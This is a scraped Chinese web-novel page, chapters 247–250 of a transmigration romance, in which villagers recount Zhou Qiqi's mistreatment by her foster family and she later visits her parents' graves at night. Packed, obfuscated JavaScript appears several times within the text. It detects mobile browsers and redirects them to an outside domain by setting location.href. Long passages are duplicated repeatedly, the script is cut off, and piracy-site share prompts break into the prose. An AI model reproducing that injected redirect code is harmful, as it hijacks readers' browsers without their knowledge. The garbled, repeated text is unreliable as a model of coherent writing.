l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133416|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸粗糙的大手使劲搓了搓膝盖像是要把那份憋屈搓掉: “玉华闺女你当咱不纳闷儿?谁信呐!可可人家手里捏着张纸!上面按着俩红手印血糊糊的说是水生两口子最后那口气按下的!白纸黑字红手印你说咋办?” 村里人就认这个。 张婶子拍着大腿接上话一脸的不忿加无奈帮着解释道。 “当时那情形唉!霍乱啊要命的瘟神!村里人躲都躲不及谁还敢往跟前凑?水生两口子那房子又在山根底下独门独户离村里远着哩!实在没法子了叫天天不应叫地地不灵!能指望的只有李桂香两口子!” 她喘了口气瞅了眼窗根下低着头的周柒柒声音低了些: “那会儿许树那小子倒是常去找柒柒丫头玩俩孩子年纪差不多,兴许兴许水生两口子病糊涂了看许树在跟前晃悠想着把孩子托付给‘熟人’?再一个,” 张婶子撇撇嘴带着点嘲讽: “李桂香和许老蔫那家子那会儿穷得叮当响没少腆着脸来周家打秋风!借米借盐的水生两口子心善抹不开面儿十回有八回都给了兴许兴许水生他们临了还指望这俩黑心肝的 当年她们都不在跟前也不知道为什么水生两口子就把柒柒交给许老蔫家了可水印都按了也是没法子。 她越说越气手指头恨不得戳到隔壁去: “可是她们俩哪儿知道这一家子用他们的钱盖了新房子过上好日子了刚开头那半年那两个人混账东西还装装人样给柒柒丫头吃口饱饭穿件囫囵衣裳。 没过多久原形毕露了! 完全把柒柒当丫鬟使唤了家里活儿全是柒柒的喂鸡喂猪、打水劈柴、刷锅洗碗! 大冬天丫头手冻得跟红萝卜似的裂口子还得去冰窟窿眼儿砸水! 吃?剩饭剩菜都轮不上热乎的! 许树那小王八蛋吃鸡白许枣那丫头吃蛋黄柒柒呢就眼巴巴瞅着蛋壳!” 几个上了年纪的村民也跟着点头叹气: “是咧是咧造孽啊.” “咱看着心疼偷偷塞半个窝头、一把炒豆子回头让李桂香瞅见指桑骂槐不说关起门来柒柒丫头指定又得挨顿掐!” “没法子啊名分上她是许家的人还是许树的童养媳.” 听到这些周淑华浑身筛糠似的抖眼珠子瞪得血红死死抠着身下的褥子指甲缝里都泛了白牙关咬得咯咯响喉咙里发出嗬嗬的怪声像要扑出去撕咬的野兽。 雷政委也是脸色铁青他一把按住周淑华乱抖的肩膀手背青筋都暴起来了。 雷玉华早就捂住了嘴眼泪珠子断了线似的往下滚心里难受的要命。 而周柒柒她依旧垂着头看不清表情。 如果幸福能感同身受那么痛苦就更是如此了。 她脑子里十几年的灰暗生活带给了原身不可磨灭的伤害完全把原身的心灵摧残的不成样子了。 她心里难受的紧搁在膝盖上的手指尖死死抠进掌心掐出几个深红的月牙印。 沈淮川下颌线绷得老紧他挪了半步高大的影子几乎把周柒柒整个罩住。 伸手把她那只快掐破皮的手轻轻掰开裹进自己滚烫粗糙的大手里捏了捏。 “别掐自己了要掐就掐我。” 气氛一度跌倒谷底。 第248章 一家人 周淑华再也忍受不了了,她猛地挣开雷政委的手,赤红着眼就要往炕下扑: “不行!我……我去找那俩畜生!撕了他们!扒了他们的皮! 雷政委赶紧死死抱住她:“淑华!淑华你冷静点! 他声音又急又沉, “咋算账?打一顿?骂一顿?名义上,她们是养父母!你和他们算账,怎么算,要是急起来动了手,你账没算清楚,最后自己都要搭进去! 雷玉华也在旁边劝慰道。 “是啊,妈,这种人,你不用算账,他们自己就得遭报应!你看那两口子现在啥下场?儿子儿媳妇都蹲了大狱!后半辈子喝西北风都没人管!这就是现世报! 周淑华一听雷政委说“名义上的养父母,那股邪火“噌地直冲天灵盖,眼珠子瞪得溜圆,血丝都爆出来了: “名义?!屁的名义!柒柒遭了十几年的罪!我是她亲姑!她爹妈没了,我就是她唯一的血亲!眼睁睁看着侄女被人糟践成这样,屁都不放一个?我周淑华不如一头撞死! 她挣扎着就要从炕上往下扑,手脚却不听使唤,软得像面条。 刚撑起半个身子,眼前就一阵阵发黑,金星乱冒,胸口憋得喘不上气,整个人摇摇晃晃又要往下栽。 “妈! “淑华! 雷玉华和雷政委吓得魂飞魄散,一个抱腰一个扶肩膀,手忙脚乱地往回按。 可周淑华那股子犟劲儿上来了,像离水的鱼,死命扑腾,嘴里还含混不清地骂着“畜生、“扒皮。 说什么都要往外冲着去报仇。 两人急得满头大汗,按都按不住。 就在这个时候。 窗根底下一直没吭声的周柒柒,凉飕飕地开口了,她依旧没看周淑华,但说出来的话,却像盆冰水,“哗啦浇在她身上: “报仇?行啊,你打算咋报?就你现在这模样,爬都爬不过去,是打算滚到隔壁院门口,直接晕死过去,吓死那俩人? 她眼皮都没抬一下,拍了拍衣角沾的灰,站起身: “我饿了,先吃饭,不管想干啥,都等明天吃饱了,养回点精神再说。 说完,她压根不看炕上僵住的周淑华,转向许村长: “富贵叔,我们能在您这儿蹭顿热乎饭不?忙活了一整天,还没吃饭呢。” 许村长正愁得搓手,一听这话,赶紧点头如捣蒜: “能能能!这咋不能!早备上了!你金花婶子手脚麻利,估摸着你们该饿了,刚才就钻灶房忙活去了!白菜炖土豆,贴了一圈儿杂粮饼子,管够!马上就能端上来!” 旁边一直心疼瞅着周柒柒的张婶子也抢着说: “哎呀柒柒,去啥村长家!上婶子那儿!婶子给你摊鸡蛋饼!葱花放得多多的!保准香掉你舌头!柒丫头,几个月不见变这么好看了,可想死婶子了!” 她说着就想去拉周柒柒的手。 其他几个村民也七嘴八舌地围上来: “去我家!我家今早捞的小杂鱼!” “柒柒丫头,尝尝你大娘腌的咸鸭蛋,流油的!” 刚才还剑拔**张、满是悲愤的屋子,一下子被这热腾腾的烟火气冲散了。 村民们簇拥着周柒柒往外走,嘴里各个都不停念叨着。 在他们眼里,甭管她穿得多光鲜,还是那个招人疼的柒柒丫头。 呼啦啦一群人出了门,沈淮川也跟着走了,屋里就剩下周淑华一家三口,瞬间就冷清了下来,只剩下煤油灯芯“噼啪”轻响。 周淑华还保持着半撑的姿势,僵在炕上,眼珠子直勾勾盯着空荡荡的门口,嘴唇哆嗦着,半晌,才梦呓似的喃喃: “刚刚才,柒柒.是跟我说话了?她她跟我说话了?” 雷政委松了口气,抹了把额头的汗,小心扶着她重新躺好,声音也轻快了点: “是,是跟你说话了,虽然话是不大好听,可你细品品?让你吃饭,让你养精神,小丫头心里.还是顾着你的。” 周淑华猛地抓住雷政委的手,指甲掐进他肉里,又哭又笑,眼泪鼻涕糊了一脸: “说话了,她跟我说话了!她认我!她心里有我!老雷!你听见没!” 雷玉华也凑过来,红着眼圈笑: “妈,柒柒妹妹就是嘴硬!但实际上心软又善良!打断骨头连着筋,咱是血脉相连的一家人!” “对!对!一家人!” 周淑华胡乱抹着脸,挣扎着想坐起来, “玉华!快!把饭端来!我吃!我得赶紧 好起来!不能不能再拖累孩子.万一我有个啥事她娘家就真没人了!” 雷玉华脆生生应了:“哎!这就去!” 她小跑着出了屋。 没一会儿雷玉华端着个旧炕桌进来了上面摆着几个粗瓷大碗: 金黄的玉米饼子油汪汪的酸菜粉条里头还有不少油亮亮的腊肉片子闻着香喷喷的。 村里里平时哪儿舍得吃肉啊这点腊肉绝对是过年才舍得拿出来的金贵东西。 雷政委看着那碟腊肉眉头微蹙低声对雷玉华说: “玉华一会儿你记得给村长家留点粮票肉票再放点钱。不能白**家这口粮尤其这腊肉” 周淑华刚才喝了点热水这会儿也有了点精神也点了点头。 “对对对人家给咱们准备了住的地方还有这饭菜得给人家点钱另外还有刚才那些村民们也都帮了咱们大忙了这附近有没有供销社?咱们得给她们也买点东西啥的.” 她说着又要起身张罗。 雷玉华一边给周淑华递饼子一边把她按下: “妈你就别操心了你的侄女柒柒妹妹和你想到一起去了!” 她朝外努了努下巴笑着说道: “刚才我去外面看见柒柒妹妹正往外拿东西呢!罐头!午餐肉!还有花花绿绿的水果糖!都分给张婶子她们了连门口探头探脑的小娃子一人塞了两块大白兔!都是市里百货大楼才有的稀罕物!” 雷政委一愣随即恍然大悟笑着摇头: “怪不得.我说淮川来时候背那大包死沉死沉的周柒柒这丫头心思是真细啥都想到了前头。” 周淑华捧着热乎乎的玉米饼子小口小口咬着 “可不我侄女.是最好的顶顶好的闺女又善良又贴心还那么有本事.” 听了这话雷玉华故意撅起嘴拖长了调子: “妈~~~那我呢?我就不好啦?你从前不是说我最好吗?怎么现在这些词儿全都给别人用了?” 周淑华破涕为笑用筷子虚点了点她: “你?你嘛和柒柒比起来得往后稍稍!” 雷玉华也不恼反而“噗嗤”乐了亲昵 地蹭了蹭周淑华的胳膊: “稍稍就稍稍!谁让柒柒妹妹这么招人疼呢!我也喜欢!我要是妈,我也偏心!偏心得好!” 小小的土炕上,弥漫着白菜炖土豆热乎乎的香气。 这屋子里沉重了一天的气氛,总算是变暖了。 雷家三口现在戴着的,是村委会的屋子,宽敞一点。 说的域名caixs◢(请来才小 说 看最新章节 完整章节) 周柒柒夫妻俩则是被安排在了许村长自家西厢房,地方小一点,但收拾得也是干干净净的。 小桌上除了金花婶子做的白菜炖土豆以外,还有还堆着乡亲们硬塞过来的吃食: 张婶子摊的葱花鸡蛋饼,王嫂子拿来的咸鸭蛋,还有几块刚蒸好的杂面馍馍. 乡亲们这份实打实的心意,暖烘烘地围过来,周柒柒心里那点郁气散了不少,胃口也开了,吃得比平时都多。 可架不住东西实在多,她实在吃不了多少。 好在有个沈淮川这个大男人。 他闷头不吭声,筷子动得飞快,碗沿碰得叮当响,风卷残云似的,把剩下的饼子、菜汤扫了个精光,也没见撑着。 秋天天短,日头一落,村里就黑透了。 家家户户点起煤油灯,豆大点昏黄的光,勉强照亮巴掌大的地方。 外头更是伸手不见五指,啥也干不成。 两个人今天忙活一天,也有点累了,早早就睡觉了。 不知过了多久,周柒柒忽然睁开了眼睛,看了一眼手腕上的手表,已经是夜里十点多了。 听着身边沈淮川均匀的呼吸,她感觉时间差不多了,轻轻掀开被子一角下了床。 这里毕竟不是家里,她睡觉就只脱了外套,这会儿倒也方便,随意套上就成。 她又轻手轻脚地穿上鞋,然后从包里摸出一支手电筒。 回头看了一眼炕上。 沈淮川侧着身,轮廓在黑暗里模糊成一团,睡得正香。 她吸了口气,猫着腰,踮着脚尖,一点点挪开木门,闪身出去,再轻轻带上。 门轴发出细微的“吱呀”声,在寂静的夜里格外清晰,吓得她心口一跳,屏住呼吸听了听,院子里只有几声蛐蛐叫,她才放心出了院门。 四下里静得吓人,连狗叫声都没有。 清冷的月光像凉水一样泼下来,勉强照亮脚下坑洼的土路。 手电筒的光束在身前投下一小圈摇晃的光斑,伴随着她略显急促的呼吸声。 周柒柒拢了拢衣襟,深吸了一口冰凉的空气,踏着满地清辉,朝着村外山脚的方向,一步一步走去。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 地蹭了蹭周淑华的胳膊: “稍稍就稍稍!谁让柒柒妹妹这么招人疼呢!我也喜欢!我要是妈,我也偏心!偏心得好! 小小的土炕上,弥漫着白菜炖土豆热乎乎的香气。 这屋子里沉重了一天的气氛,总算是变暖了。 雷家三口现在戴着的,是村委会的屋子,宽敞一点。 周柒柒夫妻俩则是被安排在了许村长自家西厢房,地方小一点,但收拾得也是干干净净的。 小桌上除了金花婶子做的白菜炖土豆以外,还有还堆着乡亲们硬塞过来的吃食: 张婶子摊的葱花鸡蛋饼,王嫂子拿来的咸鸭蛋,还有几块刚蒸好的杂面馍馍. 乡亲们这份实打实的心意,暖烘烘地围过来,周柒柒心里那点郁气散了不少,胃口也开了,吃得比平时都多。 可架不住东西实在多,她实在吃不了多少。 好在有个沈淮川这个大男人。 他闷头不吭声,筷子动得飞快,碗沿碰得叮当响,风卷残云似的,把剩下的饼子、菜汤扫了个精光,也没见撑着。 秋天天短,日头一落,村里就黑透了。 家家户户点起煤油灯,豆大点昏黄的光,勉强照亮巴掌大的地方。 外头更是伸手不见五指,啥也干不成。 两个人今天忙活一天,也有点累了,早早就睡觉了。 不知过了多久,周柒柒忽然睁开了眼睛,看了一眼手腕上的手表,已经是夜里十点多了。 听着身边沈淮川均匀的呼吸,她感觉时间差不多了,轻轻掀开被子一角下了床。 这里毕竟不是家里,她睡觉就只脱了外套,这会儿倒也方便,随意套上就成。 她又轻手轻脚地穿上鞋,然后从包里摸出一支手电筒。 回头看了一眼炕上。 沈淮川侧着身,轮廓在黑暗里模糊成一团,睡得正香。 她吸了口气,猫着腰,踮着脚尖,一点点挪开木门,闪身出去,再轻轻带上。 门轴发出细微的“吱呀声,在寂静的夜里格外清晰,吓得她心口一跳,屏住呼吸听了听,院子里只有几声蛐蛐叫,她才放心出了院门。 四下里静得吓人,连狗叫声都没有。 清冷的月光像凉水一样泼下来,勉强照亮脚下坑洼的土路。 手电筒的光束在身前投下一小圈摇晃的光斑,伴随着她略显急促的呼吸声。 周柒柒拢了拢衣襟,深吸了一口冰凉的空气,踏着满地清辉,朝着村外山脚的方向,一步一步走去。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 地蹭了蹭周淑华的胳膊: “稍稍就稍稍!谁让柒柒妹妹这么招人疼呢!我也喜欢!我要是妈,我也偏心!偏心得好! 小小的土炕上,弥漫着白菜炖土豆热乎乎的香气。 这屋子里沉重了一天的气氛,总算是变暖了。 雷家三口现在戴着的,是村委会的屋子,宽敞一点。 周柒柒夫妻俩则是被安排在了许村长自家西厢房,地方小一点,但收拾得也是干干净净的。 小桌上除了金花婶子做的白菜炖土豆以外,还有还堆着乡亲们硬塞过来的吃食: 张婶子摊的葱花鸡蛋饼,王嫂子拿来的咸鸭蛋,还有几块刚蒸好的杂面馍馍. 乡亲们这份实打实的心意,暖烘烘地围过来,周柒柒心里那点郁气散了不少,胃口也开了,吃得比平时都多。 可架不住东西实在多,她实在吃不了多少。 好在有个沈淮川这个大男人。 他闷头不吭声,筷子动得飞快,碗沿碰得叮当响,风卷残云似的,把剩下的饼子、菜汤扫了个精光,也没见撑着。 秋天天短,日头一落,村里就黑透了。 家家户户点起煤油灯,豆大点昏黄的光,勉强照亮巴掌大的地方。 外头更是伸手不见五指,啥也干不成。 两个人今天忙活一天,也有点累了,早早就睡觉了。 不知过了多久,周柒柒忽然睁开了眼睛,看了一眼手腕上的手表,已经是夜里十点多了。 听着身边沈淮川均匀的呼吸,她感觉时间差不多了,轻轻掀开被子一角下了床。 这里毕竟不是家里,她睡觉就只脱了外套,这会儿倒也方便,随意套上就成。 她又轻手轻脚地穿上鞋,然后从包里摸出一支手电筒。 回头看了一眼炕上。 沈淮川侧着身,轮廓在黑暗里模糊成一团,睡得正香。 她吸了口气,猫着腰,踮着脚尖,一点点挪开木门,闪身出去,再轻轻带上。 门轴发出细微的“吱呀 四下里静得吓人,连狗叫声都没有。 清冷的月光像凉水一样泼下来,勉强照亮脚下坑洼的土路。 手电筒的光束在身前投下一小圈摇晃的光斑,伴随着她略显急促的呼吸声。 周柒柒拢了拢衣襟,深吸了一口冰凉的空气,踏着满地清辉,朝着村外山脚的方向,一步一步走去。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 地蹭了蹭周淑华的胳膊: “稍稍就稍稍!谁让柒柒妹妹这么招人疼呢!我也喜欢!我要是妈,我也偏心!偏心得好!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133417|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小小的土炕上,弥漫着白菜炖土豆热乎乎的香气。 这屋子里沉重了一天的气氛,总算是变暖了。 雷家三口现在戴着的,是村委会的屋子,宽敞一点。 周柒柒夫妻俩则是被安排在了许村长自家西厢房,地方小一点,但收拾得也是干干净净的。 小桌上除了金花婶子做的白菜炖土豆以外,还有还堆着乡亲们硬塞过来的吃食: 张婶子摊的葱花鸡蛋饼,王嫂子拿来的咸鸭蛋,还有几块刚蒸好的杂面馍馍. 乡亲们这份实打实的心意,暖烘烘地围过来,周柒柒心里那点郁气散了不少,胃口也开了,吃得比平时都多。 可架不住东西实在多,她实在吃不了多少。 好在有个沈淮川这个大男人。 他闷头不吭声,筷子动得飞快,碗沿碰得叮当响,风卷残云似的,把剩下的饼子、菜汤扫了个精光,也没见撑着。 秋天天短,日头一落,村里就黑透了。 家家户户点起煤油灯,豆大点昏黄的光,勉强照亮巴掌大的地方。 外头更是伸手不见五指,啥也干不成。 两个人今天忙活一天,也有点累了,早早就睡觉了。 不知过了多久,周柒柒忽然睁开了眼睛,看了一眼手腕上的手表,已经是夜里十点多了。 听着身边沈淮川均匀的呼吸,她感觉时间差不多了,轻轻掀开被子一角下了床。 这里毕竟不是家里,她睡觉就只脱了外套,这会儿倒也方便,随意套上就成。 她又轻手轻脚地穿上鞋,然后从包里摸出一支手电筒。 回头看了一眼炕上。 沈淮川侧着身,轮廓在黑暗里模糊成一团,睡得正香。 她吸了口气,猫着腰,踮着脚尖,一点点挪开木门,闪身出去,再轻轻带上。 门轴发出细微的“吱呀”声,在寂静的夜里格外清晰,吓得她心口一跳,屏住呼吸听了听,院子里只有几声蛐蛐叫,她才放心出了院门。 四下里静得吓人,连狗叫声都没有。 清冷的月光像凉水一样泼下来,勉强照亮脚下坑洼的土路。 手电筒的光束在身前投下一小圈摇晃的光斑,伴随着她略显急促的呼吸声。 周柒柒拢了拢衣襟,深吸了一口冰凉的空气,踏着满地清辉,朝着村外山脚的方向,一步一步走去。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 地蹭了蹭周淑华的胳膊: “稍稍就稍稍!谁让柒柒妹妹这么招人疼呢!我也喜欢!我要是妈我也偏心!偏心得好!” 小小的土炕上弥漫着白菜炖土豆热乎乎的香气。 这屋子里沉重了一天的气氛总算是变暖了。 雷家三口现在戴着的是村委会的屋子宽敞一点。 周柒柒夫妻俩则是被安排在了许村长自家西厢房地方小一点但收拾得也是干干净净的。 小桌上除了金花婶子做的白菜炖土豆以外还有还堆着乡亲们硬塞过来的吃食: 张婶子摊的葱花鸡蛋饼王嫂子拿来的咸鸭蛋还有几块刚蒸好的杂面馍馍. 乡亲们这份实打实的心意暖烘烘地围过来周柒柒心里那点郁气散了不少胃口也开了吃得比平时都多。 可架不住东西实在多她实在吃不了多少。 好在有个沈淮川这个大男人。 他闷头不吭声筷子动得飞快碗沿碰得叮当响风卷残云似的把剩下的饼子、菜汤扫了个精光也没见撑着。 秋天天短日头一落村里就黑透了。 家家户户点起煤油灯豆大点昏黄的光勉强照亮巴掌大的地方。 外头更是伸手不见五指啥也干不成。 两个人今天忙活一天也有点累了早早就睡觉了。 不知过了多久周柒柒忽然睁开了眼睛看了一眼手腕上的手表已经是夜里十点多了。 听着身边沈淮川均匀的呼吸她感觉时间差不多了轻轻掀开被子一角下了床。 这里毕竟不是家里她睡觉就只脱了外套这会儿倒也方便随意套上就成。 她又轻手轻脚地穿上鞋然后从包里摸出一支手电筒。 回头看了一眼炕上。 沈淮川侧着身轮廓在黑暗里模糊成一团睡得正香。 她吸了口气猫着腰踮着脚尖一点点挪开木门闪身出去再轻轻带上。 门轴发出细微的“吱呀”声在寂静的夜里格外清晰吓得她心口一跳屏住呼吸听了听院子里只有几声蛐蛐叫她才放心出了院门。 四下里静得吓人连狗叫声都没有。 清冷的月光像凉水一样泼下来勉强照亮脚下坑洼的土路。 手电筒的光束在身前投下一小圈摇晃的光斑伴随着她略显急促的呼吸声。 周柒柒拢了拢衣襟深吸了一口冰凉的空气踏着满地清辉朝着村外山脚的方向一步一步走去。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 地蹭了蹭周淑华的胳膊: “稍稍就稍稍!谁让柒柒妹妹这么招人疼呢!我也喜欢!我要是妈我也偏心!偏心得好!” 小小的土炕上弥漫着白菜炖土豆热乎乎的香气。 这屋子里沉重了一天的气氛总算是变暖了。 雷家三口现在戴着的是村委会的屋子宽敞一点。 周柒柒夫妻俩则是被安排在了许村长自家西厢房地方小一点但收拾得也是干干净净的。 小桌上除了金花婶子做的白菜炖土豆以外还有还堆着乡亲们硬塞过来的吃食: 张婶子摊的葱花鸡蛋饼王嫂子拿来的咸鸭蛋还有几块刚蒸好的杂面馍馍. 乡亲们这份实打实的心意暖烘烘地围过来周柒柒心里那点郁气散了不少胃口也开了吃得比平时都多。 可架不住东西实在多她实在吃不了多少。 好在有个沈淮川这个大男人。 他闷头不吭声筷子动得飞快碗沿碰得叮当响风卷残云似的把剩下的饼子、菜汤扫了个精光也没见撑着。 秋天天短日头一落村里就黑透了。 家家户户点起煤油灯豆大点昏黄的光勉强照亮巴掌大的地方。 外头更是伸手不见五指啥也干不成。 两个人今天忙活一天也有点累了早早就睡觉了。 不知过了多久 听着身边沈淮川均匀的呼吸她感觉时间差不多了轻轻掀开被子一角下了床。 这里毕竟不是家里她睡觉就只脱了外套这会儿倒也方便随意套上就成。 她又轻手轻脚地穿上鞋然后从包里摸出一支手电筒。 回头看了一眼炕上。 沈淮川侧着身轮廓在黑暗里模糊成一团睡得正香。 她吸了口气猫着腰踮着脚尖一点点挪开木门闪身出去再轻轻带上。 门轴发出细微的“吱呀”声在寂静的夜里格外清晰吓得她心口一跳屏住呼吸听了听院子里只有几声蛐蛐叫她才放心出了院门。 四下里静得吓人连狗叫声都没有。 清冷的月光像凉水一样泼下来勉强照亮脚下坑洼的土路。 手电筒的光束在身前投下一小圈摇晃的光斑伴随着她略显急促的呼吸声。 周柒柒拢了拢衣襟深吸了一口冰凉的空气踏着满地清辉朝着村外山脚的方向一步一步走去。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第249章 柒柒回来了 山村的夜,静得能听见自个儿的心跳。 月光像一层清冷的薄纱,笼罩着沉睡的许家村。 周柒柒打着手电,深一脚浅一脚地走在土路上,鞋底搓着碎石子,沙沙的响。 村子狭长,从村长家到村尾那熟悉的地方,足足走了近二十分钟。 夜风带着山野的凉意,吹拂着她的鬓角,一开始心里那点夜行的忐忑,在越来越接近目的地时,竟奇异地平复下来。 走过一大段空荡荡,两边都没人家的土路后,抬眼一望—— 月光下头,三间青砖灰瓦的大屋,稳稳当当地立在山根儿前头。 这院子早就没人住了,院门虚掩着,也没挂锁。 周柒柒伸手轻轻一推,门轴发出一声熟稔又悠长的“吱呀——”,在这寂静的夜里格外清晰,却也格外让人心安。 她踏进了院子,反手又把门掩上。 月光毫无遮挡地洒满小院,照亮了中央那棵虬枝盘结的老槐树。 树影婆娑,在地上投下斑驳的图案。 周柒柒的目光缓缓扫过: 青砖铺就的院子,角落曾用来堆放柴火的棚子如今空空荡荡,那口被磨得光滑的石水槽还在老位置,窗根下靠着几块被岁月打磨得圆润的鹅卵石 这地方,“她”太熟了。 一砖一瓦,都刻在骨头里。 她一步步走着,指尖划过冰凉的窗棂,触碰到那扇厚实的榆木门板。 这里的一砖一瓦,一草一木,都像是刻在“她”骨子里的印记,熟悉得闭着眼都能描绘出来。 这是“她”生命最初五六年真正的“家”,是父母离世后,“她”唯一的心灵避风港。 多少个白天,小小的“她”独自跑来,拔掉院里的杂草,清扫屋檐下的蛛网,笨拙地修补被风雨吹歪的门窗 这里承载着“她”最无忧的欢笑,也浸染了“她”最孤独的守护。 此刻,置身于这空旷、寂静甚至有些荒凉的老屋里,周柒柒的心却被一种奇异的、充盈的幸福感包裹着。 没有害怕,只有一种游子归巢般的宁静与踏实。 她在堂屋里站了一会儿,仿佛能听见当年母亲温柔的小雨和父亲爽朗的声音在梁间回响。 又去西屋—— 那是“她 静静地站了好一会儿后,她有些不舍地绕到了屋子后面。 屋后不远,在几颗松树地掩映下,并排立着两座不起眼的小土包。 没有墓碑,只有几块垒起的石头做标记。 不过打理的干干净净的,仅有一些新长的低矮杂草。 这就是周水生和齐琳的坟了。 当年霍乱闹得凶,怕传病,不让葬在庄稼地里,只能埋在这山根子底下,孤零零的。 周柒柒走过去,从随身的包里拿出一个小布包。 里面是三个小小的木头牌位。 这是傍晚吃过饭后,她临时找村里木匠削的。 另外还有几把香,一小包火柴,几包点心。 她没说话,先把两个刻着名字的木头牌位端端正正的插在坟前。 火柴“嚓地一声划亮,橘黄的火苗跳动着,点燃着三柱香,青烟袅袅升起,给清冷的月光注入了一丝柔和。 她跪下来,恭恭敬敬地磕了三个头。 “爹,娘, 她跪了下来,双手合十,柔声说道,“柒柒回来了。 此刻,她心里头翻腾得厉害。 她是占了人家闺女身子的异世魂,但脑子里那些关于爹娘的温暖记忆,那些刻骨的思念和委屈,都是真真切切的。 她打心眼里,是感恩的。 “虽然我不是你们原来的那个柒柒,但这身体是你们给的,这脑子里的回忆都是你们留下的,你们给了我一个重新活过的机会,让我能遇见淮川,能走出这山坳,过上了不一样的日子在我心里,你们就是我的爹娘。 她喉咙有点哽咽,顿了顿,把翻涌的情绪往下压了压,又磕了个头,声音更轻,却带着无比的诚挚: “谢谢你们,你们放心,我现在过得很好,特别好,从来都没有这么好过。 香火静静地燃烧着,灰烬无声落下。 周柒柒又拿出三支香点燃,恭敬地插在父母坟前。 紧接着,她走到两座坟茔中间稍前一点的位置,用旁边松软的泥土,仔细地堆起一个小小的、新的土堆。 然 后拿起剩下那个,没有刻名字的小牌位插在土堆前,又点燃了三支香。 轻烟缭绕中,她看着那小小的土堆,声音小得像是叹息: “柒柒, “我不知道你能不能听得见,也不知道你现在在哪里,是已经和爹娘在天上团聚了,还是.像我一样,穿越到了一个完全陌生的世界,重新开始生活. 月光照着她沉静的侧脸。 夜风吹过坟头的草,发出细碎的呜咽。 “我是占了你这具身体的人,对不住,但是你放心,那些欺负过你的人,许树、林瑶,还有李桂香两口子,都没落着好下场!他们一个都跑不了!你的委屈,我都替你讨回来了! 她吸了一口气,语气更坚定。 “我替你活下来了,而且活得很好,虽然不知道你去了哪里,但无论你在哪里,我都真心希望,你能放下这里的委屈和不甘,放下过去的苦,希望你能真正地轻松起来,为自己活一次,希望你幸福,就像我现在努力的那样。 她对着小小的的土堆,郑重地磕了三个头。 “这柱香,是给你的,愿你安息,也愿你得偿所愿。 说完这些,她心里头像是搬开了一块压了许久的大石头,松快了不少。 她静静地跪坐在冰凉的泥土地上,看着三缕青烟在月光下慢慢消散,融进夜色里。 心里感慨着,也不知道爹娘和柒柒能不能感受到,如果她们能有所回应就好了. 哪怕只是一阵风,一片叶落也好。 但是等了半天,也没有任何反应。 她不由叹了一口气。 可没想到,就在她无声叹息的时候,眉头却猛地一蹙! 身后,传来一阵极其突兀、极其清晰的“咔擦声! 像是有枯枝被硬生生踩断了! 这声音在万籁俱寂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周柒柒看准时机,一个箭步从树后猛地冲出去,双手高举木棍,用尽全身力气朝着那黑影得肩背狠狠劈下! “唔!” 然而,预想中棍子砸中皮肉的闷响没听见,她的手腕却像是被铁钳子狠狠钳住了! 一股巨大的、完全无法抗拒的力量从棍子那头传来,震得她虎口发麻,整条胳膊都算了! 木棍“啪嗒”一声脱手掉在地上。 糟了!对方力气太大了! 一切都发生的太快,电光火石之间,周柒柒脑子里只剩下一个念头:拼了! 她借着对方朝她伸手的空当,身体顺势往下一蹲,另一只手闪电般地从包里掏出辣椒水。 拇指用力顶掉盖子,看也不看,凭着感觉就朝着上方那高大身影的脸部位置,狠狠按下了喷头! 嗤——! 辛辣的雾气在月光下弥漫开来! 她自认已经做到了极限速度,可那黑影的反应简直快地不像人! 第250章 三座坟 就在她按下的瞬间,那人仿佛早有预料,猛地一个侧身闪避,动作干净利落得骇人! 辣椒水擦着他得肩头喷了个空,刺鼻得味道瞬间在空气中弥漫开来,反而让周柒柒眼睛有些难受,模模糊糊的有些看不清楚。 周柒柒心里“咯噔”一声,凉了大半截! 连最后的**锏都失效了! 对方的身手太好了! 她牙关一咬,眼神一厉,膝盖微弯,蓄足了今儿,抬脚就朝着对方最要命的挡下狠踹过去! 管他是谁,先废了再说! “柒柒!” 脚刚抬到一般,一个熟悉到骨子里,低沉又带着点急促的声音,像道惊雷在她耳边炸响! 是沈淮川?? 周柒柒浑身的力气和狠劲儿,像被戳破的气球,“噗”地一下泄了个干净! 那只抬到一半、蓄势待发的脚硬生生僵在半空,收势不及,整个人顿时失去了平衡,晃悠着就朝旁边歪倒下去。 “哎!” 惊呼还没出口,一只结实有力的手臂已经稳稳地环住了她的腰,轻轻一带,就把她整个人捞进了一个宽阔、温热的怀抱里。 周柒柒惊魂未定,猛地抬头,月光清晰地勾勒出沈淮川棱角分明的脸庞,剑眉紧蹙,深邃的眼中满是担忧和后怕。 “淮川?!” 她声音都变了调,带着劫后余生的颤抖和浓浓的后怕, “怎么是你啊!吓死我了!我还以为撞见鬼了,要么就是李桂香家那俩黑心肝的摸过来了!魂儿都要给你吓飞了!” 她攥着拳头,气急败坏地在他结实的胸膛上捶了好几下,力道不重,更像是一种心有余悸的发泄。 沈淮川把她搂得更紧了些,大手在她后背安抚地拍了拍,声音低沉: 